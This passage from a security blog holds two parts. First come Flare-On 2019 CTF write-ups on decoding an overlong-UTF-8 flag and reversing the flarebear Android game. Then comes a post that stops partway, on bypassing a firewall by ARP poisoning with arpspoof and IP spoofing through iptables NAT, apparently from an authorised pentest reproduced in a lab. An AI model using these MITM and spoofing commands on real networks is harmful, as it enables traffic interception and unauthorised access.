<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">buffer</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="s">"</span><span class="se">\xE0\x81\x89\xC0\xA0\xC1\xAE\xE0\x81\xA5\xC1\xB6\xF0\x80\x81\xA5\xE0\x81\xB2\xF0\x80\x80\xA0\xE0\x81\xA2\x72\x6F\xC1\xAB\x65\xE0\x80\xA0\xE0\x81\xB4\xE0\x81\xA8\xC1\xA5\x20\xC1\xA5\xE0\x81\xAE\x63\xC1\xAF\xE0\x81\xA4\xF0\x80\x81\xA9\x6E\xC1\xA7\xC0\xBA\x20\x49\xF0\x80\x81\x9F\xC1\xA1\xC1\x9F\xC1\x8D\xE0\x81\x9F\xC1\xB4\xF0\x80\x81\x9F\xF0\x80\x81\xA8\xC1\x9F\xF0\x80\x81\xA5\xE0\x81\x9F\xC1\xA5\xE0\x81\x9F\xF0\x80\x81\xAE\xC1\x9F\xF0\x80\x81\x83\xC1\x9F\xE0\x81\xAF\xE0\x81\x9F\xC1\x84\x5F\xE0\x81\xA9\xF0\x80\x81\x9F\x6E\xE0\x81\x9F\xE0\x81\xA7\xE0\x81\x80\xF0\x80\x81\xA6\xF0\x80\x81\xAC\xE0\x81\xA1\xC1\xB2\xC1\xA5\xF0\x80\x80\xAD\xF0\x80\x81\xAF\x6E\xC0\xAE\xF0\x80\x81\xA3\x6F\xF0\x80\x81\xAD\x00</span><span class="s">"</span><span class="p">)</span>

<span class="n">decoded_buffer</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span>

<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="nb">len</span><span class="p">(</span><span class="nb">buffer</span><span class="p">):</span>
    <span class="k">if</span> <span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span> <span class="o">==</span> <span class="mh">0x1e</span><span class="p">:</span>
        <span class="n">decoded_buffer</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((((</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x3f</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x3f</span><span class="p">)))</span>
        <span class="n">offset</span> <span class="o">+=</span> <span class="mi">4</span>
    <span class="k">elif</span>  <span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span> <span class="o">==</span> <span class="mh">0xe</span><span class="p">:</span>
        <span class="n">decoded_buffer</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((((</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x3f</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x3f</span><span class="p">)))</span>
        <span class="n">offset</span> <span class="o">+=</span> <span class="mi">3</span>
    <span class="k">elif</span> <span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span>
        <span class="n">decoded_buffer</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((((</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x1f</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x3f</span><span class="p">)))</span>
        <span class="n">offset</span> <span class="o">+=</span> <span class="mi">2</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">decoded_buffer</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">])</span>
        <span class="n">offset</span> <span class="o">+=</span> <span class="mi">1</span>
    
    <span class="k">if</span> <span class="n">decoded_buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">:</span>
        <span class="k">print</span> <span class="n">decoded_buffer</span>
        <span class="k">break</span>

    <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span>
</code></pre></div></div>

<p>Running the above python script produces the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I never broke the encoding: I_a_M_t_h_e_e_n_C_o_D_i_n_g@flare-on.com
</code></pre></div></div>

<h1 id="challenge-3---flarebear">Challenge 3 - flarebear</h1>
<hr />
<p>Task:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>We at Flare have created our own Tamagotchi pet, the flarebear. 
He is very fussy. Keep him alive and happy and he will give 
you the flag.
</code></pre></div></div>

<p>This challenge is for reversing an Android apk file. The apk is a Tamagotchi game and we need see what conditions must be met in order to display the flag.</p>

<p>I had problems with running emulators inside the VM and I didn’t want to install new software on my host machine just for this challenge, so I used the online service <a href="https://appetize.io/">https://appetize.io/</a> to run the apk.</p>

<p>The game starts with a menu that has options to continue game or create a new bear. When you create a new bear you need to give it a name and then the game starts. You have three options - feed, play and clean.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/3_flarebear_execute.png" alt="3_flarebear_execute.png" class="align-center" /></p>

<p>To decompile the apk:</p>
<ol>
  <li>unzip the .apk contents</li>
  <li>use dex2jar to convert the classes.dex file to a .jar file</li>
  <li>open the newly created .jar file in jd-gui</li>
</ol>

<p>Looking around, in the <code class="language-plaintext highlighter-rouge">FlareBearActivity.class</code> there’s a method called <code class="language-plaintext highlighter-rouge">danceWithFlag</code>. This method calls a couple of resources, obtains a key with the method getPassword, then uses this key to decrypt the resources and display them as a bitmap image.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">danceWithFlag</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">InputStream</span> <span class="n">inputStream1</span> <span class="o">=</span> <span class="n">getResources</span><span class="o">().</span><span class="na">openRawResource</span><span class="o">(</span><span class="mi">2131427328</span><span class="o">);</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkExpressionValueIsNotNull</span><span class="o">(</span><span class="n">inputStream1</span><span class="o">,</span> <span class="s">"ecstaticEnc"</span><span class="o">);</span>
    <span class="n">arrayOfByte1</span> <span class="o">=</span> <span class="nc">ByteStreamsKt</span><span class="o">.</span><span class="na">readBytes</span><span class="o">(</span><span class="n">inputStream1</span><span class="o">);</span>
    <span class="nc">InputStream</span> <span class="n">inputStream2</span> <span class="o">=</span> <span class="n">getResources</span><span class="o">().</span><span class="na">openRawResource</span><span class="o">(</span><span class="mi">2131427329</span><span class="o">);</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkExpressionValueIsNotNull</span><span class="o">(</span><span class="n">inputStream2</span><span class="o">,</span> <span class="s">"ecstaticEnc2"</span><span class="o">);</span>
    <span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte2</span> <span class="o">=</span> <span class="nc">ByteStreamsKt</span><span class="o">.</span><span class="na">readBytes</span><span class="o">(</span><span class="n">inputStream2</span><span class="o">);</span>
    <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">getPassword</span><span class="o">();</span>
    <span class="k">try</span> <span class="o">{</span>
      <span class="n">arrayOfByte1</span> <span class="o">=</span> <span class="n">decrypt</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="n">arrayOfByte1</span><span class="o">);</span>
      <span class="n">arrayOfByte2</span> <span class="o">=</span> <span class="n">decrypt</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="n">arrayOfByte2</span><span class="o">);</span>
      <span class="nc">Bitmap</span> <span class="n">bitmap1</span> <span class="o">=</span> <span class="nc">BitmapFactory</span><span class="o">.</span><span class="na">decodeByteArray</span><span class="o">(</span><span class="n">arrayOfByte1</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">arrayOfByte1</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
      <span class="nc">BitmapDrawable</span> <span class="n">bitmapDrawable1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BitmapDrawable</span><span class="o">(</span><span class="n">getResources</span><span class="o">(),</span> <span class="n">bitmap1</span><span class="o">);</span>
      <span class="nc">Bitmap</span> <span class="n">bitmap2</span> <span class="o">=</span> <span class="nc">BitmapFactory</span><span class="o">.</span><span class="na">decodeByteArray</span><span class="o">(</span><span class="n">arrayOfByte2</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">arrayOfByte2</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
      <span class="nc">BitmapDrawable</span> <span class="n">bitmapDrawable2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BitmapDrawable</span><span class="o">(</span><span class="n">getResources</span><span class="o">(),</span> <span class="n">bitmap2</span><span class="o">);</span>
      <span class="n">dance</span><span class="o">((</span><span class="nc">Drawable</span><span class="o">)</span><span class="n">bitmapDrawable1</span><span class="o">,</span> <span class="o">(</span><span class="nc">Drawable</span><span class="o">)</span><span class="n">bitmapDrawable2</span><span class="o">);</span>
      <span class="k">return</span><span class="o">;</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">arrayOfByte1</span><span class="o">)</span> <span class="o">{</span>
      <span class="k">return</span><span class="o">;</span>
    <span class="o">}</span> 
  <span class="o">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">danceWithFlag</code> method is called from another method called <code class="language-plaintext highlighter-rouge">setMood</code> only when <code class="language-plaintext highlighter-rouge">isHappy</code> and <code class="language-plaintext highlighter-rouge">isEcstatic</code> both return true.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">setMood</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">isHappy</span><span class="o">())</span> <span class="o">{</span>
      <span class="o">((</span><span class="nc">ImageView</span><span class="o">)</span><span class="n">_$_findCachedViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">flareBearImageView</span><span class="o">)).</span><span class="na">setTag</span><span class="o">(</span><span class="s">"happy"</span><span class="o">);</span>
      <span class="k">if</span> <span class="o">(</span><span class="n">isEcstatic</span><span class="o">())</span> <span class="o">{</span>
        <span class="n">danceWithFlag</span><span class="o">();</span>
        <span class="k">return</span><span class="o">;</span>
      <span class="o">}</span> 
    <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
      <span class="o">((</span><span class="nc">ImageView</span><span class="o">)</span><span class="n">_$_findCachedViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">flareBearImageView</span><span class="o">)).</span><span class="na">setTag</span><span class="o">(</span><span class="s">"sad"</span><span class="o">);</span>
    <span class="o">}</span> 
  <span class="o">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">isHappy</code> method checks if the ratio of feed/play is between 2 and 2.5. If it is, it returns true.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="nf">isHappy</span><span class="o">()</span> <span class="o">{</span>
    <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">getStat</span><span class="o">(</span><span class="sc">'f'</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">getStat</span><span class="o">(</span><span class="sc">'p'</span><span class="o">);</span>
    <span class="kt">double</span> <span class="n">d</span> <span class="o">=</span> <span class="o">(</span><span class="n">i</span> <span class="o">/</span> <span class="n">j</span><span class="o">);</span>
    <span class="k">return</span> <span class="o">(</span><span class="n">d</span> <span class="o">&gt;=</span> <span class="mf">2.0</span><span class="no">D</span> <span class="o">&amp;&amp;</span> <span class="n">d</span> <span class="o">&lt;=</span> <span class="mf">2.5</span><span class="no">D</span><span class="o">);</span>
  <span class="o">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">isEcstatic</code> method checks the values of the mass, happy and clean states of the bear.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="nf">isEcstatic</span><span class="o">()</span> <span class="o">{</span>
    <span class="kt">byte</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
    <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">getState</span><span class="o">(</span><span class="s">"mass"</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">getState</span><span class="o">(</span><span class="s">"happy"</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="n">getState</span><span class="o">(</span><span class="s">"clean"</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">m</span> <span class="o">=</span> <span class="n">b</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">72</span><span class="o">)</span> <span class="o">{</span>
      <span class="n">m</span> <span class="o">=</span> <span class="n">b</span><span class="o">;</span>
      <span class="k">if</span> <span class="o">(</span><span class="n">j</span> <span class="o">==</span> <span class="mi">30</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">m</span> <span class="o">=</span> <span class="n">b</span><span class="o">;</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">k</span> <span class="o">==</span> <span class="mi">0</span><span class="o">)</span>
          <span class="n">m</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> 
      <span class="o">}</span> 
    <span class="o">}</span> 
    <span class="k">return</span> <span class="n">m</span><span class="o">;</span>
  <span class="o">}</span>
</code></pre></div></div>

<p>The mass, happy and clean states change in several methods, one of which is the <code class="language-plaintext highlighter-rouge">play</code> method.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">play</span><span class="o">(</span><span class="nd">@NotNull</span> <span class="nc">View</span> <span class="n">paramView</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkParameterIsNotNull</span><span class="o">(</span><span class="n">paramView</span><span class="o">,</span> <span class="s">"view"</span><span class="o">);</span>
    <span class="n">saveActivity</span><span class="o">(</span><span class="s">"p"</span><span class="o">);</span>
    <span class="n">changeMass</span><span class="o">(-</span><span class="mi">2</span><span class="o">);</span>
    <span class="n">changeHappy</span><span class="o">(</span><span class="mi">4</span><span class="o">);</span>
    <span class="n">changeClean</span><span class="o">(-</span><span class="mi">1</span><span class="o">);</span>
    <span class="n">playUi</span><span class="o">();</span>
  <span class="o">}</span>
</code></pre></div></div>

<p>The changeX methods add the argument to the current state value.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">changeMass</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt</span><span class="o">)</span> <span class="o">{</span> <span class="n">setState</span><span class="o">(</span><span class="s">"mass"</span><span class="o">,</span> <span class="n">getState</span><span class="o">(</span><span class="s">"mass"</span><span class="o">,</span> <span class="mi">0</span><span class="o">)</span> <span class="o">+</span> <span class="n">paramInt</span><span class="o">);</span> <span class="o">}</span>
  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">changeClean</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt</span><span class="o">)</span> <span class="o">{</span> <span class="n">setState</span><span class="o">(</span><span class="s">"clean"</span><span class="o">,</span> <span class="n">getState</span><span class="o">(</span><span class="s">"clean"</span><span class="o">,</span> <span class="mi">0</span><span class="o">)</span> <span class="o">+</span> <span class="n">paramInt</span><span class="o">);</span> <span class="o">}</span>
  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">changeHappy</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt</span><span class="o">)</span> <span class="o">{</span> <span class="n">setState</span><span class="o">(</span><span class="s">"happy"</span><span class="o">,</span> <span class="n">getState</span><span class="o">(</span><span class="s">"happy"</span><span class="o">,</span> <span class="mi">0</span><span class="o">)</span> <span class="o">+</span> <span class="n">paramInt</span><span class="o">);</span> <span class="o">}</span>
</code></pre></div></div>

<p>The other two functions which change the these states are <code class="language-plaintext highlighter-rouge">clean</code> and <code class="language-plaintext highlighter-rouge">feed</code>.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">clean</span><span class="o">(</span><span class="nd">@NotNull</span> <span class="nc">View</span> <span class="n">paramView</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkParameterIsNotNull</span><span class="o">(</span><span class="n">paramView</span><span class="o">,</span> <span class="s">"view"</span><span class="o">);</span>
    <span class="n">saveActivity</span><span class="o">(</span><span class="s">"c"</span><span class="o">);</span>
    <span class="n">removePoo</span><span class="o">();</span>
    <span class="n">cleanUi</span><span class="o">();</span>
    <span class="n">changeMass</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
    <span class="n">changeHappy</span><span class="o">(-</span><span class="mi">1</span><span class="o">);</span>
    <span class="n">changeClean</span><span class="o">(</span><span class="mi">6</span><span class="o">);</span>
    <span class="n">setMood</span><span class="o">();</span>
  <span class="o">}</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">feed</span><span class="o">(</span><span class="nd">@NotNull</span> <span class="nc">View</span> <span class="n">paramView</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkParameterIsNotNull</span><span class="o">(</span><span class="n">paramView</span><span class="o">,</span> <span class="s">"view"</span><span class="o">);</span>
    <span class="n">saveActivity</span><span class="o">(</span><span class="s">"f"</span><span class="o">);</span>
    <span class="n">changeMass</span><span class="o">(</span><span class="mi">10</span><span class="o">);</span>
    <span class="n">changeHappy</span><span class="o">(</span><span class="mi">2</span><span class="o">);</span>
    <span class="n">changeClean</span><span class="o">(-</span><span class="mi">1</span><span class="o">);</span>
    <span class="n">incrementPooCount</span><span class="o">();</span>
    <span class="n">feedUi</span><span class="o">();</span>
  <span class="o">}</span>
</code></pre></div></div>

<p>Now to return to our <code class="language-plaintext highlighter-rouge">isEcstatic</code> method.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">public</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="nf">isEcstatic</span><span class="o">()</span> <span class="o">{</span>
    <span class="kt">byte</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
    <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">getState</span><span class="o">(</span><span class="s">"mass"</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">getState</span><span class="o">(</span><span class="s">"happy"</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="n">getState</span><span class="o">(</span><span class="s">"clean"</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">m</span> <span class="o">=</span> <span class="n">b</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">72</span><span class="o">)</span> <span class="o">{</span>
      <span class="n">m</span> <span class="o">=</span> <span class="n">b</span><span class="o">;</span>
      <span class="k">if</span> <span class="o">(</span><span class="n">j</span> <span class="o">==</span> <span class="mi">30</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">m</span> <span class="o">=</span> <span class="n">b</span><span class="o">;</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">k</span> <span class="o">==</span> <span class="mi">0</span><span class="o">)</span>
          <span class="n">m</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> 
      <span class="o">}</span> 
    <span class="o">}</span> 
    <span class="k">return</span> <span class="n">m</span><span class="o">;</span>
  <span class="o">}</span>
</code></pre></div></div>

<p>The mass needs to be 72, happy needs to be 30 and clean needs to be 0 for the method to return true. Also the ratio of feed/play needs to be between 2 and 2.5 for <code class="language-plaintext highlighter-rouge">isHappy</code> to return true. This means that we need to call the methods <code class="language-plaintext highlighter-rouge">play</code>, <code class="language-plaintext highlighter-rouge">clean</code> and <code class="language-plaintext highlighter-rouge">feed</code> in such order that these conditions are met.
To summarize how these states change:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>feed -&gt; mass +10, happy +2, clean -1
play -&gt; mass -2, happy +4, clean -1
clean -&gt; mass +0, happy -1, clean +6
</code></pre></div></div>

<p>This can be represented as a system of linear equations:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10f - 2p + 0c = 72
2f + 4p - 1c = 30
-1f -1p + 6c = 0
</code></pre></div></div>

<p>This is easily solvable with wolfram alpha and representing the equations as matrices:<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/3_flarebear_matrix.png" alt="3_flarebear_matrix.png" class="align-center" /></p>

<p>The answer is f=8, p=4, and c=2 and the ratio feed/play is 8/4 which is 2 and satisfies the condition for <code class="language-plaintext highlighter-rouge">isHappy</code>.</p>

<p>Emulating the game and then clicking 8 times feed, 4 times play and 2 times clean gives us the flag.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/3_flarebear_flag.png" alt="3_flarebear_flag.png" class="align-center" /></p>

<p>The flag is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>th4t_was_be4rly_a_chall3nge@flare-on.com
</code></pre></div></div>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="flareon" /><category term="writeup" /><category term="ctf" /><category term="reversing" /><category term="challenge" /><summary type="html"><![CDATA[My writeups for the FlareOn 2019 challenges]]></summary></entry><entry><title type="html">Combining ARP poisoning and IP spoofing to bypass firewalls</title><link href="https://idafchev.github.io/blog/combining_arp_poisoning_and_ip_spoofing_to_bypass_firewalls/" rel="alternate" type="text/html" title="Combining ARP poisoning and IP spoofing to bypass firewalls" /><published>2019-10-28T16:00:00+02:00</published><updated>2019-10-28T16:00:00+02:00</updated><id>https://idafchev.github.io/blog/combining_arp_poisoning_and_ip_spoofing_to_bypass_firewalls</id><content type="html" xml:base="https://idafchev.github.io/blog/combining_arp_poisoning_and_ip_spoofing_to_bypass_firewalls/"><![CDATA[<h1 id="introduction">Introduction</h1>
<hr />
<p>Recently a colleague of mine and I had to test if there was a way to gain access to a specific network segment (let’s call it SecNet) from another network (BadNet). Of course the most basic attempts with ping and port scanning failed, because the firewall blocked everything that came from our segment, so we had to find a way to bypass the firewall.</p>

<p>One of the devices available in BadNet was a DNS server and this server was configured as the primary DNS in the DHCP settings. We also confirmed that other networks also used this server as their DNS, thus our hypothesis was that maybe the devices from SecNet also used the same server as their DNS. If that was the case and the firewall wasn’t configured to be restrictive enough, then the DNS server should have access to the SecNet network.</p>

<p>To confirm this we used ARP poisoning attack to do a man-in-the-middle (MITM) between the DNS and the gateway to see if traffic from SecNet reaches the DNS in BadNet.<br />
It did.</p>

<p>Then we had to find a way to exploit this in order to reach SecNet. If we only spoofed our IP address, the return traffic would’ve been routed to the DNS server and we wouldn’t be able to receieve it. If we poisoned the ARP table of the gateway and pretended that our host was the DNS server, then the hosts from other networks wouldn’t be able to reach it and with this we would introduce a denial of service, which was not acceptable. Exploiting the server was out of scope. The only solution was to spoof our IP while simultaneously doing MITM as this would give us the opportunity to receive the return traffic of the spoofed requests.</p>

<p>Because we faced some problems implementing such attack and Google wasn’t helpful in finding solutions to those problems, I decided to explain what we did in this blog post.</p>

<p>Disclaimer:<br />
The technique for marking the spoofed packets is not my idea. I think I saw it in a tool for bypassing 802.1x, but I can’t remember which one.</p>

<h1 id="network-topology">Network Topology</h1>
<hr />
<p>The network topology of my virtualized environment for the demonstration.</p>

<p>SecNet: 172.16.3.0/24<br />
SecNet Sensitive Host: 172.16.3.10<br />
BadNet: 172.16.2.0/24<br />
BadNet DNS server: 172.16.2.10<br />
BadNet Hacker: 172.16.2.20<br />
Firewall: 172.16.2.2<br />
Firewall: 172.16.3.2</p>

<p><img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/net_diag_1.png" alt="net_diag_1.png" class="align-center" /></p>

<p>In this environment the firewall is a Linux VM with a simple iptables rule which drops everything except traffic to and from the DNS server (172.16.2.10). 
Let’s test it with a simple ping:<br />
<img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/ping_test.PNG" alt="ping_test.PNG" class="align-center" /></p>

<h1 id="the-attack">The Attack</h1>
<hr />
<p>There are many guides which explain how to achieve MITM with ARP poisoning, so I won’t spend much time on this.
One of the first things you should do is enable routing on your host, otherwise the packets won’t be redirected to the victim.
This is easily achieved with the following command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sysctl net.ipv4.ip_forward<span class="o">=</span>1
</code></pre></div></div>

<p>For the actual ARP poisoning I used the arpspoof tool:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>arpspoof <span class="nt">-i</span> eth0 <span class="nt">-t</span> 172.16.2.10 <span class="nt">-r</span> 172.16.2.2

<span class="c"># -i Interface</span>
<span class="c"># -t Target IP</span>
<span class="c"># -r Gateway IP</span>
</code></pre></div></div>

<p>With this we’ve achieved MITM. The diagram below shows how the traffic flows from source to destination:<br />
<img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/net_diag_2.png" alt="net_diag_2.png" class="align-center" /></p>

<p>Right now if we spoof our IP and try to access SecNet the return traffic will be routed back to the DNS server which in turn will respond with TCP RST and terminate the session. This behavior is shown below:<br />
<img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/net_diag_3.png" alt="net_diag_3.png" class="align-center" /></p>

<p>To solve this problem we need to</p>
<ul>
  <li>Tag our spoofed traffic somehow</li>
  <li>Don’t route the response of the tagged (spoofed) traffic</li>
  <li>Accept the tagged traffic as if it was destined to the attacker’s host</li>
</ul>

<p>To tag the spoofed packets we could use the source tcp ports. Windows and Linux use specific port ranges for the source ports when initiating a new connection.
For Windows this can be found with the command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh int ipv4 show dynamicport tcp
</code></pre></div></div>

<p>On my windows 10 machine the output from the above command is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Protocol tcp Dynamic Port Range
---------------------------------
Start Port      : 49152
Number of Ports : 16384
</code></pre></div></div>

<p>Which means that in Windows 10 the source port range is <code class="language-plaintext highlighter-rouge">49152 - 65536</code>.</p>

<p>On linux you can check with:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sysctl net.ipv4.ip_local_port_range
</code></pre></div></div>

<p>On my Kali the result is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net.ipv4.ip_local_port_range = 32768	60999
</code></pre></div></div>

<p>We can use source ports from a range which is not used by our target to tag our spoofed traffic. If it’s a windows host, we can use ports outside the range <code class="language-plaintext highlighter-rouge">49152 - 65536</code> and if it’s a Linux host - source ports outside the <code class="language-plaintext highlighter-rouge">32768 - 60999</code> range,</p>

<p>If we don’t know the OS of the target, we can use a source port range different than the combination of both ranges. In this demonstration I’ll assume that we don’t know the OS of the target.</p>

<ol>
  <li>The IP spoofing of the outgoing packets can be done with iptables and a NAT rule. The NAT rule would also change the source port range.</li>
  <li>Another NAT rule would look for a specific destination IP and destination port range in order to identify the incoming packets which are in response to the spoofed traffic. The destination IP will be changed to the local IP of the interface and the port range will be restored. That way the response to our spoofed traffic will be routed to the local host.</li>
</ol>

<p>The diagram below shows how traffic is handled by the interface in this configuration:<br />
<img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/netfilter.png" alt="netfilter.png" class="align-center" /></p>

<p>And the result would be:<br />
